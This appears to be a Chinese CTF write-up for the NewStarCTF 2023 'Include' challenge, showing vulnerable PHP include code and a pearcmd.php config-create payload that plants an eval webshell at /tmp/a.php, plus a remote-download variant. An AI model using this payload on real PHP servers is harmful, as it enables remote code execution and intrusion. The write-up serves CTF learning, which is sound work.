【pearcmd】通过pearcmd.php 进行GetShell

https://cloud.tencent.com/developer/article/2204400

关于PHP 配置 register_argc_argv 小结 的一些研究文章。

应用例题

[NewStarCTF 2023 公开赛道]Include 🍐

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

查看phpinfo.php 尝试搜索flag ,让查看register_argc_argv

通过搜索,发现是关于pearcmd.php的信息。

https://cloud.tencent.com/developer/article/2204400 关于PHP 配置 register_argc_argv 小结 的一些研究文章。

通过查看帮助,php pearcmd.php可以查看该文件的一些使用参数。

可以通过config-create 创建一个木马文件,也可以通过从服务器上下载文件的方式利用。

# 创建文件,注意最好通过burp抓包,因为< > 会被url编码,导致木马失效
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[a])?>+/tmp/a.php

成功利用木马

下载文件。这里我就尝试从它自身下载phpinfo。

如图所示,从靶机下载phpinfo,并在响应中返回了保存路径

成功访问下载的phpinfo.php文件

相关推荐
喵叔哟12 分钟前
重构代码中引入外部方法和引入本地扩展的区别
java·开发语言·重构
尘浮生18 分钟前
Java项目实战II基于微信小程序的电影院买票选座系统(开发文档+数据库+源码)
java·开发语言·数据库·微信小程序·小程序·maven·intellij-idea
hopetomorrow32 分钟前
学习路之PHP--使用GROUP BY 发生错误 SELECT list is not in GROUP BY clause .......... 解决
开发语言·学习·php
网络安全-杰克40 分钟前
网络安全概论
网络·web安全·php
不是二师兄的八戒42 分钟前
本地 PHP 和 Java 开发环境 Docker 化与配置开机自启
java·docker·php
小牛itbull42 分钟前
ReactPress vs VuePress vs WordPress
开发语言·javascript·reactpress
请叫我欧皇i1 小时前
html本地离线引入vant和vue2(详细步骤)
开发语言·前端·javascript
闲暇部落1 小时前
‌Kotlin中的?.和!!主要区别
android·开发语言·kotlin
GIS瞧葩菜1 小时前
局部修改3dtiles子模型的位置。
开发语言·javascript·ecmascript
chnming19871 小时前
STL关联式容器之set
开发语言·c++